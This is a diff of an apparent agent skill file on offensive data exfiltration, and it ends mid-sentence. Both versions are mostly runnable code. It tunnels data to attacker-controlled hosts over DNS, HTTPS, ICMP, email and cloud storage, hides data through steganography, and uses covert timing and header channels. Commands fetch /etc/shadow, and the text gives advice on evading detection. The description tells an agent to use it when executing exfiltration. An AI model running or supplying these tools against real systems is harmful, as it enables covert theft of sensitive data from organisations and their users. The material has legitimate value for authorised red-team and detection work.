offensive-data-exfiltration ยท diff
git:20260825.f7a0553 to git:20260826.4c7fcfd
380 added, 430 removed. Audit B to F.
---
name: offensive-data-exfiltration
- description: "Comprehensive data exfiltration tradecraft for authorized red team engagements covering covert channel techniques and data staging. DNS exfiltration via dnscat2, iodine, and custom TXT/CNAME tunneling constructs label-encoded data into DNS queries that traverse firewalls permitting UDP/53. HTTPS tunneling through stunnel, domain fronting, and CDN abuse hides exfiltration in legitimate TLS traffic. ICMP tunneling with icmpsh and ptunnel embeds data in echo request/reply payloads. Cloud storage dead drops leverage pre-signed URLs on S3, Azure Blob, and GCS to stage data through trusted cloud endpoints. Email-based exfiltration routes data through SMTP/IMAP channels. Steganography techniques embed data in image, audio, and document files using LSB encoding and metadata injection. Covers data staging, compression, encryption, chunking strategies, encoding schemes (base64, hex, custom alphabets), and covert timing channels. Physical vectors include USB dead drops and QR code exfiltration for air-gapped environments. Tools: dnscat2, iodine, PacketWhisper, chisel, stunnel. Maps to MITRE ATT&CK T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), and sub-techniques. Includes detection indicators and a rapid engagement cheatsheet."
+ description: "Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engagements or post-exploitation."
---
- # Offensive Data Exfiltration
-
- Data exfiltration is the final objective of many engagements -- extracting
- target data to prove impact and demonstrate what an adversary could steal.
- You move data from the compromised environment to attacker-controlled
- infrastructure using channels that bypass network security controls. The
- choice of exfiltration method depends on what egress protocols the network
- permits, what DLP controls are in place, the volume of data, and the stealth
- requirements of the engagement.
-
- This skill covers DNS tunneling, HTTPS tunneling, ICMP tunneling, cloud
- storage abuse, email exfiltration, steganography, data staging techniques,
- and physical exfiltration vectors. Apply these in authorized engagements only.
+ # Data Exfiltration -- Offensive Methodology
## Quick Workflow
- 1. Identify permitted egress protocols (DNS, HTTPS, ICMP, SMTP).
- 2. Stage target data -- compress, encrypt, and chunk it.
- 3. Select an exfiltration channel matching available egress.
- 4. Test the channel with small benign data before moving real payloads.
- 5. Throttle transfer rate to avoid volumetric detection.
- 6. Validate data integrity on receipt (checksums).
- 7. Document the exfiltration path and volume for your engagement report.
+ 1. **Inventory target data.** Map files, databases, credentials. Assess volume and classification.
+ 2. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
+ 3. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
+ 4. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
+ 5. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
+ 6. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
+ 7. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest.
+ 8. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks.
---
- ## Data Staging and Preparation
+ ## DNS Exfiltration
- Before exfiltrating, you prepare the data to minimize transfer volume, avoid
- content inspection, and ensure integrity. Always encrypt exfiltrated data --
- you are responsible for protecting it during the engagement.
+ MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
- ### Compression and Archiving
+ ### dnscat2
```bash
- # Compress and archive target files
- tar czf /tmp/.cache/loot.tar.gz /path/to/sensitive/data/
+ # Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
+ ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
- # Split into chunks for protocols with size constraints (DNS, ICMP)
- split -b 64k /tmp/.cache/loot.tar.gz /tmp/.cache/chunk_
+ # Client on target
+ ./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
- # On Windows
- powershell Compress-Archive -Path C:\Users\target\Documents\* -DestinationPath C:\Users\Public\data.zip
+ # Server console -- file transfer
+ session -i 1
+ download /etc/shadow /tmp/loot/shadow
```
- ### Encryption
+ ```bash
+ # Force CNAME queries to avoid TXT-based detection
+ ./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
+ ```
+ ### iodine Tunneling
+
```bash
- # Encrypt with AES-256 before exfiltration
- openssl enc -aes-256-cbc -salt -pbkdf2 -in loot.tar.gz -out loot.enc -k "engagement_key_2024"
+ # Server (authoritative NS)
+ iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
- # GPG encryption (asymmetric, preferred for multi-operator engagements)
- gpg --recipient operator@redteam --encrypt loot.tar.gz
+ # Client -- creates dns0 interface at 10.0.0.2
+ iodine -f -P ExfilPassword tunnel.yourdomain.com
+ scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
```
- ### Encoding for Protocol Constraints
+ ### dns2tcp
```bash
- # Base64 encode for protocols that require printable characters
- base64 loot.enc > loot.b64
+ # Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
+ dns2tcpd -f /etc/dns2tcpd.conf
- # Hex encode for DNS label-safe encoding
- xxd -p loot.enc > loot.hex
+ # Client -- tunnel SSH over DNS
+ dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
+ ssh -p 2222 attacker@127.0.0.1
+ ```
- # Base32 encode (DNS-safe, no special characters)
- python3 -c "import base64; data=open('loot.enc','rb').read(); print(base64.b32encode(data).decode())" > loot.b32
+ ### TXT/CNAME Record Encoding
+
+ ```python
+ import base64, dns.resolver
+
+ def dns_exfil(data, domain, chunk_size=60):
+ encoded = base64.b32encode(data).decode()
+ for seq, i in enumerate(range(0, len(encoded), chunk_size)):
+ query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
+ try: dns.resolver.resolve(query, "TXT")
+ except Exception: pass # data is in the query itself
```
+ ### Slow-Drip DNS
+
```python
- # Custom encoding for DNS labels (max 63 chars per label, 253 total)
- import base64
+ import random, time, base64, dns.resolver
- def encode_for_dns(data, domain, chunk_size=60):
- """Encode binary data into DNS-safe queries."""
- encoded = base64.b32encode(data).decode().rstrip('=').lower()
- queries = []
- for i in range(0, len(encoded), chunk_size):
- chunk = encoded[i:i+chunk_size]
- query = f"{chunk}.{domain}"
- queries.append(query)
- return queries
+ def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
+ encoded = base64.b32encode(data).decode()
+ for seq, i in enumerate(range(0, len(encoded), 60)):
+ query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
+ try: dns.resolver.resolve(query, "A")
+ except Exception: pass
+ time.sleep(random.uniform(min_delay, max_delay))
```
+ PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: `python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1`.
+
---
- ## DNS Exfiltration
+ ## HTTPS Tunneling
- DNS is the most reliable exfiltration channel because nearly every network
- permits outbound DNS queries. You encode data into DNS query labels or TXT
- record responses, routing it through a DNS server you control.
+ MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols
- ### dnscat2
+ ### stunnel
- dnscat2 creates a command-and-control channel over DNS with built-in file
- transfer, port forwarding, and interactive shell capabilities.
+ Server wraps a port 8080 listener in TLS on 443. Client: `stunnel -c -d 127.0.0.1:9090 -r attacker.com:443`, then `cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090`.
- ```bash
- # On your authoritative DNS server (attacker infrastructure)
- # Set up NS records: exfil.yourdomain.com -> your_server_ip
- dnscat2-server exfil.yourdomain.com
+ ### Domain Fronting via CDN
- # On the compromised host
- ./dnscat2 exfil.yourdomain.com
+ ```bash
+ # Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
+ curl -s -H "Host: your-collection.azureedge.net" \
+ --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload
- # In the dnscat2 server console
- windows # List active sessions
- window -i 1 # Interact with session 1
- download C:\Users\admin\Documents\secrets.docx /tmp/loot/secrets.docx
- upload /tmp/tools/mimikatz.exe C:\Users\Public\m.exe
- shell # Get an interactive shell
+ # chisel full tunnel behind CDN
+ chisel server --port 443 --reverse --auth user:pass # server side
+ chisel client --header "Host: your-collection.azureedge.net" \
+ https://legitimate-cdn-domain.com R:socks # client side
```
- ```bash
- # dnscat2 with encryption and custom options
- dnscat2 --dns "domain=exfil.yourdomain.com,type=TXT" --secret=shared_key_here
+ ### Legitimate Service Abuse
- # Limit query types to evade detection
- dnscat2 --dns "domain=exfil.yourdomain.com,type=CNAME"
- dnscat2 --dns "domain=exfil.yourdomain.com,type=MX"
+ ```bash
+ # Slack webhook
+ curl -X POST -H 'Content-type: application/json' \
+ --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
+ https://hooks.slack.com/services/T00/B00/XXX
```
- ### iodine
+ ```python
+ # GitHub Gist -- private gist per chunk
+ import requests, base64
+ def gist_exfil(data, token):
+ requests.post("https://api.github.com/gists",
+ json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
+ headers={"Authorization": f"token {token}"})
+ ```
- iodine creates a full IP tunnel over DNS, giving you a virtual network
- interface through DNS queries. Higher throughput than dnscat2 but noisier.
+ ```powershell
+ # Pastebin API from Windows
+ $data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
+ Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
+ api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}
+ ```
- ```bash
- # On your DNS server (set up NS delegation first)
- iodined -f -c -P strongpassword 10.0.0.1/24 exfil.yourdomain.com
+ ---
- # On the compromised host
- iodine -f -P strongpassword exfil.yourdomain.com
+ ## ICMP Tunneling
- # This creates a dns0 interface with a 10.0.0.x address
- # You can now tunnel any TCP/UDP traffic through it
- scp -o "ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p" loot.enc operator@10.0.0.1:/tmp/loot/
- ```
+ MITRE: T1048.003 -- Non-Application Layer Protocol
- ### Custom DNS Tunneling
+ ### icmpsh
```bash
- # Manual TXT record exfiltration with dig
- # Encode data chunks as subdomain labels
- for chunk in $(cat loot.hex | fold -w 60); do
- dig +short ${chunk}.data.exfil.yourdomain.com TXT @8.8.8.8
- sleep $(( RANDOM % 5 + 2 )) # Jitter to avoid detection
- done
+ # Attacker
+ sysctl -w net.ipv4.icmp_echo_ignore_all=1
+ python3 icmpsh_m.py attacker_ip target_ip
```
- ```python
- # Python DNS exfiltration with jitter
- import dns.resolver, base64, time, random
+ Target (Windows): `icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128`
- def exfil_dns(filepath, domain, delay_range=(1, 5)):
- """Exfiltrate a file via DNS queries with timing jitter."""
- with open(filepath, 'rb') as f:
- data = f.read()
- encoded = base64.b32encode(data).decode().rstrip('=').lower()
- seq = 0
- for i in range(0, len(encoded), 60): # 60 chars per label (max 63)
- query = f"{seq:04d}.{encoded[i:i+60]}.d.{domain}"
- try:
- dns.resolver.resolve(query, 'A')
- except Exception:
- pass # Data is in the query itself
- seq += 1
- time.sleep(random.uniform(*delay_range))
- ```
+ ### ptunnel-ng
- ### PacketWhisper
+ ```bash
+ ptunnel-ng -r0.0.0.0 -R22 # server (attacker)
+ ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22 # client (target)
+ scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/
+ ```
- PacketWhisper uses DNS queries to exfiltrate data without requiring you to
- own a DNS server. It encodes data as queries for random-looking domains and
- captures them from a PCAP on the network path.
+ ### Raw ICMP Embedding
- ```bash
- # On the compromised host -- generate DNS queries
- python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1
+ ```python
+ import struct, socket
- # On the capture point -- extract data from PCAP
- python3 packetwhisper.py --mode receive --pcap capture.pcap --cipher_num 1
+ def icmp_exfil(data, dest_ip, chunk_size=48):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
+ for seq, i in enumerate(range(0, len(data), chunk_size)):
+ chunk = data[i:i+chunk_size]
+ hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
+ pkt = hdr + chunk
+ s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
+ if len(pkt) % 2: s += pkt[-1] << 8
+ s = (s >> 16) + (s & 0xFFFF); s += s >> 16
+ hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
+ sock.sendto(hdr + chunk, (dest_ip, 0))
+ sock.close()
```
- OPSEC note: DNS exfiltration is detectable by monitoring query volume, label
- entropy, query frequency to uncommon domains, and TXT record sizes. Rate-limit
- your queries and add realistic jitter. Use CNAME or A record types instead
- of TXT where possible, as TXT queries to uncommon domains are a known indicator.
+ Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.
---
- ## HTTPS Tunneling and Domain Fronting
+ ## Cloud Storage Dead Drops
- HTTPS exfiltration blends with normal web traffic. Domain fronting routes
- your traffic through a legitimate CDN so the visible SNI and Host header
- point to a trusted domain.
+ MITRE: T1567.002 -- Exfiltration to Cloud Storage
- ### stunnel
+ ### S3 Presigned URLs
+ ```python
+ import boto3
+ def s3_upload_url(bucket, key, expiry=3600):
+ return boto3.client("s3").generate_presigned_url(
+ "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)
+ ```
+
```bash
- # On your attack server -- stunnel listener
- cat << 'EOF' > /etc/stunnel/exfil.conf
- [exfil]
- accept = 443
- connect = 127.0.0.1:8080
- cert = /etc/stunnel/server.pem
- EOF
- stunnel /etc/stunnel/exfil.conf
+ curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
+ ```
- # On the compromised host -- tunnel traffic through TLS
- # stunnel client configuration
- cat << 'EOF' > stunnel-client.conf
- [exfil]
- client = yes
- accept = 127.0.0.1:9090
- connect = attacker.com:443
- EOF
- stunnel stunnel-client.conf
+ ### Azure Blob SAS Tokens
- # Now send data through the tunnel
- curl -X POST -d @loot.enc http://127.0.0.1:9090/upload
+ ```powershell
+ $ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
+ $sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
+ -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
+ Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
+ -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"
```
- ### Domain Fronting
-
- ```bash
- # Domain fronting through a CDN
- # The TLS SNI shows "legitimate-site.cdn.com"
- # The HTTP Host header carries your actual C2 domain
- curl -H "Host: exfil.yourdomain.com" https://legitimate-site.cdn.com/upload \
- -X POST --data-binary @loot.enc
+ ### GCS Signed URLs
- # Using a cloud function as a redirector
- # Deploy a simple function on a cloud provider that forwards to your server
- # Traffic appears as legitimate cloud API calls
+ ```python
+ from google.cloud import storage
+ import datetime
+ def gcs_upload_url(bucket_name, blob_name, minutes=60):
+ blob = storage.Client().bucket(bucket_name).blob(blob_name)
+ return blob.generate_signed_url(version="v4", method="PUT",
+ expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")
```
- ```python
- # HTTPS exfiltration with chunked transfer and domain fronting
- import requests, os
+ Presigned URLs need no credentials on the target. Rotate buckets between drops.
- def exfil_https(filepath, fronting_domain, real_host, chunk_size=1048576):
- """Exfiltrate via HTTPS with domain fronting in 1MB chunks."""
- session = requests.Session()
- with open(filepath, 'rb') as f:
- chunk_num = 0
- while chunk := f.read(chunk_size):
- session.post(
- f'https://{fronting_domain}/api/telemetry',
- data=chunk,
- headers={'Host': real_host, 'Content-Type': 'application/octet-stream',
- 'X-Request-ID': f'{chunk_num:06d}'}
- )
- chunk_num += 1
- ```
+ ---
- ### Cloud Storage Dead Drops
+ ## Email-Based Exfiltration
- ```bash
- # Generate a pre-signed S3 upload URL on your account
- aws s3 presign s3://exfil-bucket/drop/loot.enc --expires-in 3600
+ MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol
- # On the compromised host -- upload using the pre-signed URL (no AWS CLI needed)
- curl -X PUT -T loot.enc "https://exfil-bucket.s3.amazonaws.com/drop/loot.enc?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."
+ ### SMTP
- # Azure Blob Storage with SAS token
- curl -X PUT -H "x-ms-blob-type: BlockBlob" --data-binary @loot.enc \
- "https://exfilstore.blob.core.windows.net/drop/loot.enc?sv=2021-06-08&ss=b&srt=o&sp=w&se=..."
+ ```python
+ import smtplib
+ from email.mime.base import MIMEBase
+ from email.mime.multipart import MIMEMultipart
+ from email import encoders
- # Google Cloud Storage signed URL
- curl -X PUT -T loot.enc "https://storage.googleapis.com/exfil-bucket/loot.enc?X-Goog-Signature=..."
+ def smtp_exfil(filepath, server, from_addr, to_addr, password):
+ msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
+ with open(filepath, "rb") as f:
+ part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
+ encoders.encode_base64(part)
+ part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
+ msg.attach(part)
+ with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)
```
- OPSEC note: Pre-signed URLs require no credentials on the compromised host.
- Traffic appears as legitimate HTTPS to major cloud providers. DLP systems
- inspecting TLS content (with TLS interception) can still detect the data.
+ ### Exchange Web Services
- ---
+ ```python
+ from exchangelib import Credentials, Account, FileAttachment, Message
+ def ews_exfil(filepath, email, password, recipient):
+ account = Account(email, credentials=Credentials(email, password), autodiscover=True)
+ with open(filepath, "rb") as f:
+ att = FileAttachment(name="data.xlsx", content=f.read())
+ m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
+ m.attach(att); m.send()
+ ```
- ## ICMP Tunneling
+ ### Draft Method
- ICMP tunneling embeds data in ping packets. Many networks allow ICMP echo
- even when other outbound protocols are restricted.
+ Store data in drafts -- no email transits the network, no sent-mail evidence:
- ### icmpsh
+ ```python
+ from exchangelib import Account, Credentials, Message
+ def draft_exfil(data_b64, email, password):
+ account = Account(email, credentials=Credentials(email, password), autodiscover=True)
+ Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)
+ ```
- ```bash
- # On your attack box -- disable kernel ICMP replies and start listener
- sysctl -w net.ipv4.icmp_echo_ignore_all=1
- python3 icmpsh_m.py <ATTACK_IP> <TARGET_IP>
+ ---
- # On the compromised Windows host
- icmpsh.exe -t <ATTACK_IP>
+ ## Steganography
- # This gives you a reverse shell over ICMP
- # Exfiltrate by piping data through the shell
- type C:\Users\admin\secrets.txt
- ```
+ MITRE: T1001.002 -- Data Obfuscation: Steganography
- ### ptunnel / ptunnel-ng
+ ### Image
```bash
- # On your attack box (proxy server)
- ptunnel-ng -r<ATTACK_IP> -R22
-
- # On the compromised host (client)
- ptunnel-ng -p<ATTACK_IP> -l2222 -r<ATTACK_IP> -R22
+ steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f # JPEG/BMP
+ steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
+ zsteg carrier.png # PNG analysis
+ openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"
+ ```
- # Now SSH through the ICMP tunnel
- ssh -p 2222 operator@127.0.0.1
+ ```python
+ from PIL import Image
+ import struct
- # Transfer files through the SSH-over-ICMP tunnel
- scp -P 2222 loot.enc operator@127.0.0.1:/tmp/loot/
+ def lsb_embed(cover_path, data, output_path):
+ img = Image.open(cover_path); pixels = list(img.getdata())
+ payload = struct.pack(">I", len(data)) + data
+ bits = []
+ for byte in payload:
+ for i in range(7, -1, -1): bits.append((byte >> i) & 1)
+ if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
+ idx = 0; new_pixels = []
+ for px in pixels:
+ np = list(px)
+ for c in range(min(3, len(np))):
+ if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
+ new_pixels.append(tuple(np))
+ out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)
```
- ### Custom ICMP Exfiltration
+ ### Audio
```python
- # Manual ICMP data exfiltration using scapy
- from scapy.all import IP, ICMP, Raw, send
- import time
- import random
+ import wave, struct
- def exfil_icmp(filepath, target_ip, chunk_size=32, delay_range=(0.5, 2.0)):
- """Exfiltrate data in ICMP echo request payloads."""
- with open(filepath, 'rb') as f:
- data = f.read()
+ def wav_lsb_embed(cover_wav, data, output_wav):
+ with wave.open(cover_wav, "rb") as w:
+ params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
+ payload = struct.pack(">I", len(data)) + data
+ bits = []
+ for byte in payload:
+ for i in range(7, -1, -1): bits.append((byte >> i) & 1)
+ for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
+ with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))
+ ```
- seq = 0
- for i in range(0, len(data), chunk_size):
- chunk = data[i:i+chunk_size]
- # Prefix with sequence number for reassembly
- payload = seq.to_bytes(4, 'big') + chunk
- pkt = IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=payload)
- send(pkt, verbose=False)
- seq += 1
- time.sleep(random.uniform(*delay_range))
+ ### Document Metadata
- # Send completion marker
- end_payload = seq.to_bytes(4, 'big') + b'EXFIL_DONE'
- send(IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=end_payload), verbose=False)
+ ```bash
+ exiftool -Comment="$(base64 secret.enc)" carrier.jpg # EXIF embed
+ cat carrier.jpg secret.enc > output.jpg # append after FFD9
```
- OPSEC note: Large or frequent ICMP packets are anomalous. Keep payload sizes
- small (under 64 bytes per packet) and add realistic jitter. Some IDS/IPS
- inspect ICMP payload content for non-standard data.
+ ```python
+ from PyPDF2 import PdfReader, PdfWriter
+ def pdf_metadata_exfil(pdf_path, data_b64, output_path):
+ reader = PdfReader(pdf_path); writer = PdfWriter()
+ for page in reader.pages: writer.add_page(page)
+ chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
+ writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
+ with open(output_path, "wb") as f: writer.write(f)
+ ```
---
- ## Email-Based Exfiltration
+ ## Encoding and Encryption
- Email exfiltration leverages existing SMTP/IMAP infrastructure. It blends
- with normal email traffic and can bypass network controls that allow
- outbound mail.
+ ### Base64 / Hex / Base32 Chunking
```bash
- # Send exfiltrated data as an email attachment via command line
- # Using sendmail or mail command
- cat loot.enc | base64 | mail -s "Q3 Report" operator@external-mailbox.com
-
- # Using PowerShell on Windows
- $msg = New-Object System.Net.Mail.MailMessage
- $msg.From = "user@corp.local"
- $msg.To.Add("operator@external-mailbox.com")
- $msg.Subject = "Monthly Report"
- $msg.Attachments.Add("C:\Users\Public\data.zip")
- $smtp = New-Object System.Net.Mail.SmtpClient("mail.corp.local")
- $smtp.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
- $smtp.Send($msg)
+ base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt # base64 chunks
+ xxd -p staged.enc > staged.hex # hex for DNS labels
+ python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"
```
- ```python
- # SMTP exfiltration with chunked attachments
- import smtplib, os
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email import encoders
+ ### XOR
- def exfil_email(filepath, smtp_server, from_addr, to_addr, chunk_mb=5):
- """Exfiltrate data as email attachments, chunked to avoid size limits."""
- with open(filepath, 'rb') as f:
- part = 0
- while chunk := f.read(chunk_mb * 1024 * 1024):
- msg = MIMEMultipart()
- msg['From'], msg['To'] = from_addr, to_addr
- msg['Subject'] = f'Monthly Analytics Report Part {part + 1}'
- att = MIMEBase('application', 'octet-stream')
- att.set_payload(chunk)
- encoders.encode_base64(att)
- att.add_header('Content-Disposition', f'attachment; filename="report_p{part}.dat"')
- msg.attach(att)
- with smtplib.SMTP(smtp_server) as s:
- s.send_message(msg)
- part += 1
+ ```python
+ def xor_encrypt(data, key):
+ kb = key.encode() if isinstance(key, str) else key
+ return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
```
- OPSEC note: DLP systems commonly inspect outbound email for sensitive data
- patterns (SSNs, credit card numbers, keywords). Encrypt data before
- attaching. Large or numerous attachments trigger volumetric alerts.
+ ### AES-256-GCM
- ---
+ ```python
+ from Crypto.Cipher import AES
+ from Crypto.Random import get_random_bytes
+ import hashlib
- ## Steganography
+ def aes_encrypt_file(infile, outfile, password):
+ salt = get_random_bytes(16)
+ key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
+ cipher = AES.new(key, AES.MODE_GCM)
+ with open(infile, "rb") as f: pt = f.read()
+ ct, tag = cipher.encrypt_and_digest(pt)
+ with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)
- Steganography hides data within innocent-looking files -- images, audio,
- documents. Useful when you need to exfiltrate through channels with content
- inspection.
+ def aes_decrypt_file(infile, outfile, password):
+ with open(infile, "rb") as f: d = f.read()
+ key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
+ pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
+ with open(outfile, "wb") as f: f.write(pt)
+ ```
```bash
- # LSB steganography with steghide (JPEG/BMP/WAV/AU)
- steghide embed -cf cover_image.jpg -ef loot.enc -p "passphrase" -f
- steghide extract -sf cover_image.jpg -p "passphrase"
+ openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key
```
- For PNG files, LSB encoding replaces the least significant bit of each color
- channel with one bit of your data. Use PIL/Pillow to iterate pixels, apply
- `(channel & 0xFE) | data_bit` per channel, and save. The image appears
- visually identical but carries embedded data.
+ ---
- ```bash
- # Embed data in image EXIF metadata
- exiftool -Comment="$(base64 loot.enc)" cover_image.jpg
+ ## Covert Channels
- # Embed in document metadata
- exiftool -Author="$(base64 loot.enc | head -c 65000)" document.pdf
+ ### HTTP Header Encoding
- # Append data after JPEG end-of-image marker
- cat cover_image.jpg loot.enc > output.jpg
- # The image renders normally; data is appended after FFD9 marker
- ```
+ ```python
+ import base64, urllib.request
- ```powershell
- # Alternate Data Streams (Windows NTFS only, does not survive copy to non-NTFS)
- # Hide data in an ADS
- cmd /c "type loot.enc > C:\Users\Public\report.docx:hidden"
- # Extract
- cmd /c "more < C:\Users\Public\report.docx:hidden > C:\Users\Public\extracted.enc"
+ def http_header_exfil(data, url, chunk_size=256):
+ encoded = base64.b64encode(data).decode()
+ for seq, i in enumerate(range(0, len(encoded), chunk_size)):
+ req = urllib.request.Request(url)
+ req.add_header("X-Request-ID", f"{seq:06d}")
+ req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
+ try: urllib.request.urlopen(req)
+ except Exception: pass
```
- ---
+ ### chisel SOCKS Tunnel
- ## Covert Channels and Timing-Based Exfiltration
+ ```bash
+ chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
+ chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
+ curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload
+ ```
- When all standard protocols are monitored, you use side channels that encode
- data in timing patterns or protocol fields not normally inspected.
+ ### IP ID Field Encoding
```python
- # Timing-based covert channel: encode bits as inter-packet delays
- import time
- import socket
+ from scapy.all import IP, TCP, send
+ def ip_id_exfil(data, dest_ip, port=80):
+ for i, byte in enumerate(data):
+ send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)
+ ```
- def exfil_timing(data, target_ip, target_port, bit_0_delay=0.1, bit_1_delay=0.5):
- """Encode data in TCP connection timing intervals."""
- bits = ''.join(format(b, '08b') for b in data)
+ ### Timing Channels
- for bit in bits:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(2)
- try:
- sock.connect((target_ip, target_port))
- except Exception:
- pass
- finally:
- sock.close()
+ ```python
+ import time, socket
- if bit == '0':
- time.sleep(bit_0_delay)
- else:
- time.sleep(bit_1_delay)
+ def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.connect((dest_ip, dest_port))
+ for byte in data:
+ for i in range(7, -1, -1):
+ bit = (byte >> i) & 1
+ time.sleep(bit_time * 2 if bit else bit_time)
+ sock.send(b"\x00")
+ sock.close()
```
- You can also encode data in protocol header fields that are not normally
- inspected: the IP Identification field (1 byte per packet), TCP sequence
- numbers (4 bytes per SYN), or TCP urgent pointer. Use scapy to craft
- packets with `IP(dst=target, id=byte_val) / TCP(dport=port, flags='S')`.
-
- OPSEC note: Timing channels are extremely slow (bits per second) but nearly
